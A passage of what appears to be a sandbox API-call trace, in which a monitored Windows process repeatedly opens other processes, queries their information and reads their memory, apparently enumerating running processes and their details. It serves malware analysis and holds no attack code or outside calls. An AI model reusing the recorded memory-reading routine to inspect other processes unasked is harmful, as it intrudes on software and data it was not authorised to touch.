lpBaseAddress=0x14a30a018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0190.996] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0190.997] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x11bea6033e0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0190.997] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x11bea603048, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0190.997] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0190.998] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0190.998] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x14a30a020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0190.999] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x11bea602a30, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0190.999] malloc (_Size=0x58) returned 0x20abc2aabd0 [0190.999] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x11bea603088, lpBuffer=0x20abc2aabd0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aabd0*, lpNumberOfBytesRead=0x0) returned 1 [0190.999] free (_Block=0x20abc2aabd0) [0191.058] CloseHandle (hObject=0x448) returned 1 [0191.058] _ui64tow_s (in: _Value=0x37c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="892") returned 0x0 [0191.063] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="892") returned 3 [0191.064] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0191.064] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0191.076] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x37c) returned 0x448 [0191.076] GetLastError () returned 0x0 [0191.077] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0191.077] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0xc818199018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0191.077] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0191.077] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1cb23f03470, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0191.077] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1cb23f030c8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0191.078] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0191.079] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0191.079] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0xc818199020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0191.079] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1cb23f02ab0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0191.079] malloc (_Size=0x74) returned 0x20abc282120 [0191.079] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1cb23f03108, lpBuffer=0x20abc282120, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0191.080] free (_Block=0x20abc282120) [0191.080] CloseHandle (hObject=0x448) returned 1 [0191.081] _ui64tow_s (in: _Value=0x390, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="912") returned 0x0 [0191.084] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="912") returned 3 [0191.085] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0191.085] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0191.193] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x390) returned 0x448 [0191.193] GetLastError () returned 0x0 [0191.193] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0191.193] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0xc222932018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0191.193] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0191.193] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x22f94f03480, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0191.193] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x22f94f030c8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0191.194] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0191.195] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0191.195] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0xc222932020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0191.195] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x22f94f02ab0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0191.195] malloc (_Size=0x84) returned 0x20abc2831b0 [0191.195] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x22f94f03108, lpBuffer=0x20abc2831b0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0191.196] free (_Block=0x20abc2831b0) [0191.197] CloseHandle (hObject=0x448) returned 1 [0191.197] _ui64tow_s (in: _Value=0x3a0, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="928") returned 0x0 [0191.201] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="928") returned 3 [0191.202] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0191.202] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0191.216] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a0) returned 0x448 [0191.216] GetLastError () returned 0x0 [0191.216] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0191.216] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x2832795018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0191.216] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0191.216] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x19ff8603480, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0191.217] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x19ff86030c8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0191.217] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0191.218] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0191.218] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x2832795020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0191.219] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x19ff8602ab0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0191.219] malloc (_Size=0x86) returned 0x20abc2831b0 [0191.219] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x19ff8603108, lpBuffer=0x20abc2831b0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0191.220] free (_Block=0x20abc2831b0) [0191.220] CloseHandle (hObject=0x448) returned 1 [0191.221] _ui64tow_s (in: _Value=0x3f0, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1008") returned 0x0 [0191.224] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1008") returned 4 [0191.226] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0191.226] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0191.349] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f0) returned 0x448 [0191.350] GetLastError () returned 0x0 [0191.350] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0191.350] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x44e609d018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0191.350] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0191.350] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x22fa5103460, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0191.350] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x22fa51030c8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0191.351] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0191.352] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0191.352] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x44e609d020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0191.353] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x22fa5102ab0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0191.353] malloc (_Size=0x62) returned 0x20abc2801b0 [0191.353] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x22fa5103108, lpBuffer=0x20abc2801b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0191.354] free (_Block=0x20abc2801b0) [0191.354] CloseHandle (hObject=0x448) returned 1 [0191.355] _ui64tow_s (in: _Value=0x210, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0191.359] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="528") returned 3 [0191.360] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0191.360] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0191.373] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x448 [0191.373] GetLastError () returned 0x0 [0191.373] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0191.373] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0xb735b0c018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0191.373] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0191.373] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1fedd303400, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0191.373] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1fedd303048, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0191.374] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0191.375] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0191.375] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0xb735b0c020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0191.376] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1fedd302a30, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0191.376] malloc (_Size=0x82) returned 0x20abc2831b0 [0191.376] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1fedd303088, lpBuffer=0x20abc2831b0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0191.377] free (_Block=0x20abc2831b0) [0191.377] CloseHandle (hObject=0x448) returned 1 [0191.378] _ui64tow_s (in: _Value=0x45c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1116") returned 0x0 [0191.381] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1116") returned 4 [0191.382] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0191.382] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0191.477] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x448 [0191.477] GetLastError () returned 0x0 [0191.477] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0191.477] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0xd23f744018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0191.477] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0191.477] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1ed07003460, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0191.477] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1ed070030c8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0191.478] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0191.479] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0191.479] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0xd23f744020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0191.479] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1ed07002ab0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0191.479] malloc (_Size=0x66) returned 0x20abc280290 [0191.479] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x1ed07003108, lpBuffer=0x20abc280290, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280290*, lpNumberOfBytesRead=0x0) returned 1 [0191.481] free (_Block=0x20abc280290) [0191.481] CloseHandle (hObject=0x448) returned 1 [0191.481] _ui64tow_s (in: _Value=0x508, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1288") returned 0x0 [0191.485] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1288") returned 4 [0191.486] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0191.486] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0191.499] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x508) returned 0x448 [0191.499] GetLastError () returned 0x0 [0191.500] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0191.500] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x3f6018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0191.500] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0191.500] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0xc1b70, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0191.500] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0xc1818, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0191.501] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0191.502] NtQueryInformationProcess (in: ProcessHandle=0x448, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0191.502] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0x3f6020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0191.502] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0xc1200, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0191.502] malloc (_Size=0x42) returned 0x20abc27cf80 [0191.502] ReadProcessMemory (in: hProcess=0x448, lpBaseAddress=0xc1858, lpBuffer=0x20abc27cf80, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cf80*, lpNumberOfBytesRead=0x0) returned 1 [0191.503] free (_Block=0x20abc27cf80) [0191.503] CloseHandle (hObject=0x448) returned 1 [0191.504] _ui64tow_s (in: _Value=0x538, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1336") returned 0x0 [0191.507] _vsnwprintf (in: 